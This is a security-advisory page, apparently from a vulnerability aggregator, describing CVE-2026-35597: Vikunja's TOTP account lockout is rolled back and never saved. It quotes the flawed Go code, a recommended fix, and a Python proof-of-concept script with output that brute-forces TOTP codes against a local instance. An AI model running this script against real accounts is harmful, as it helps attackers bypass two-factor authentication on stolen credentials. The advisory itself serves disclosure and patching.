Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-35597 — vikunja

🟡 CVSS 5.9 — Medium ✅ No Known Exploit CWE-307 NVD
5.9
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout

Summary

The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.

Details

When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:

```go

if err != nil {

if user2.IsErrInvalidTOTPPasscode(err) {

user2.HandleFailedTOTPAuth(s, user)

}

_ = s.Rollback()

return err

}

```

HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.

The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.

Proof of Concept

Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).

```python

import requests, time, pyotp

TARGET = "http://localhost:3456"

API = f"{TARGET}/api/v1"

def h(token):

return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

# setup: login, enroll and enable TOTP

token = requests.post(f"{API}/login",

json={"username": "totp_user", "password": "TotpUser1!"}).json()["token"]

secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"]

totp = pyotp.TOTP(secret)

requests.post(f"{API}/user/settings/totp/enable", headers=h(token),

json={"passcode": totp.now()})

# send 9 failed attempts (rate limit is 10/min)

for i in range(1, 10):

r = requests.post(f"{API}/login",

json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})

print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")

# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)

time.sleep(65)

for i in range(10, 13):

r = requests.post(f"{API}/login",

json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})

print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")

# wait for rate limit, try with valid TOTP

time.sleep(65)

r = requests.post(f"{API}/login",

json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": totp.now()})

print(f"Valid TOTP login: {r.status_code}") # 200 - account was never locked

```

Output:

```

Attempt 1: 412 code=1017

...

Attempt 9: 412 code=1017

Attempt 10: 412 code=1017

Attempt 11: 412 code=1017

Attempt 12: 412 code=1017

Valid TOTP login: 200

```

The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.

Impact

An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.

Recommended Fix

Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:

```go

// Use a new session so the lockout persists regardless of caller's rollback

lockoutSession := db.NewSession()

defer lockoutSession.Close()

err = user.SetStatus(lockoutSession, StatusAccountLocked)

if err != nil {

_ = lockoutSession.Rollback()

return

}

_ = lockoutSession.Commit()

```

*Found and reported by [aisafe.io](https://aisafe.io)*

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2026-35597 is classified as CWE-307: Improper Restriction of Excessive Authentication Attempts. Repeated login attempts are not limited, leaving credentials open to brute forcing.

Affected software

CVE-2026-35597 is recorded against 2 packages.

  • code.vikunja.io/api
  • vikunja (fixed in 2.3.0)

Timeline and source

Published on 25 June 2026 and last revised on 21 July 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Web)

Other advisories for this package

code.vikunja.io/api has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-307: Improper Restriction of Excessive Authentication Attempts) in other software:

Details

Severity Medium
CVSS Score 5.9
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE CWE-307
Public Exploit ✅ No
Source NVD
Published 2026-06-25
Updated 2026-08-20
Modified 2026-07-21

Affected Packages

Software From version Fixed in
code.vikunja.io/api
vikunja 2.3.0

Similar Threats

Vulnerability Monitoring

Track new vulnerabilities in vikunja

CVE-2026-35597 is rated CVSS 5.9 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026